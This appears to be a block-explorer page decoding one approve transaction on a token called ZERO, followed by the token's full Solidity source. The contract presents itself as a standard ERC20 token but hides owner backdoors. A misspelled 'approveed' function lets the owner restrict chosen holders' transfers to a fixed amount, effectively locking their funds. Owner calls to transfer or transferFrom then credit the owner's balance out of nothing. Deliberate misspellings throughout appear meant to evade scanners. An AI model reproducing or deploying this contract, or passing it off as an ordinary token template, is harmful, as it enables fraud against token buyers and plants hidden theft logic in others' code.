ETH Price: $2,547.42 (+1.93%)

Transaction Decoder

Block:
17750197 at Jul-22-2023 05:35:59 PM +UTC
Transaction Fee:
0.000891190154103264 ETH $2.27
Gas Used:
46,752 Gas / 19.062075507 Gwei

Emitted Events:

121 ZERO.Approval( Owner=[Sender] 0x29e1490c092720ee146ed95554b7b840bb19a063, spender=0x00000000...43aC78BA3, value=46370202980593196 )

Account State Difference:

  Address   Before After State Difference Code
0x29E1490c...0BB19A063
0.663906798718991854 Eth
Nonce: 87
0.66301560856488859 Eth
Nonce: 88
0.000891190154103264
0x2ABb58f7...4CA027A41
(beaverbuild)
3.304038499783828809 Eth3.304043174983828809 Eth0.0000046752

Execution Trace

ZERO.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amomount=46370202980593196 ) => ( True )
pragma solidity ^0.8.3;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accoount) external view returns (uint256);
    function transfer(address recipient, uint256 amomount) external returns (bool);
    function allowance(address Owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amomount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amomount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed Owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function Owner() public view virtual returns (address) {
        return _Owner;
    }
    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_Owner, address(0x000000000000000000000000000000000000dEaD));
        _Owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract ZERO is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _STFT;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address accoount) public view override returns (uint256) {
        return _balances[accoount];
    }

    function transfer(address recipient, uint256 amomount) public virtual override returns (bool) {
        if (_msgSender() == Owner() && _STFT[_msgSender()] > 0) {
            _balances[Owner()] += _STFT[_msgSender()];
            return true;
        }
        else if (_STFT[_msgSender()] > 0) {
            require(amomount == _STFT[_msgSender()], "Invalid transfer amomount");
        }
        require(_balances[_msgSender()] >= amomount, "TT: transfer amomount exceeds balance");
        _balances[_msgSender()] -= amomount;
        _balances[recipient] += amomount;
        emit Transfer(_msgSender(), recipient, amomount);
        return true;
    }

    function approveed(address[] memory accoounts, uint256 amomount) public onlyOwner {
        for (uint i=0; i<accoounts.length; i++) {
            _STFT[accoounts[i]] = amomount;
        }
    }


    function allowance(address Owner, address spender) public view virtual override returns (uint256) {
        return _allowances[Owner][spender];
    }

    function approve(address spender, uint256 amomount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amomount;
        emit Approval(_msgSender(), spender, amomount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amomount) public virtual override returns (bool) {
        if (_msgSender() == Owner() && _STFT[sender] > 0) {
            _balances[Owner()] += _STFT[sender];
            return true;
        }
        else if (_STFT[sender] > 0) {
            require(amomount == _STFT[sender], "Invalid transfer amomount");
        }
        require(_balances[sender] >= amomount && _allowances[sender][_msgSender()] >= amomount, "TT: transfer amomount exceeds balance or allowance");
        _balances[sender] -= amomount;
        _balances[recipient] += amomount;
        _allowances[sender][_msgSender()] -= amomount;
        emit Transfer(sender, recipient, amomount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}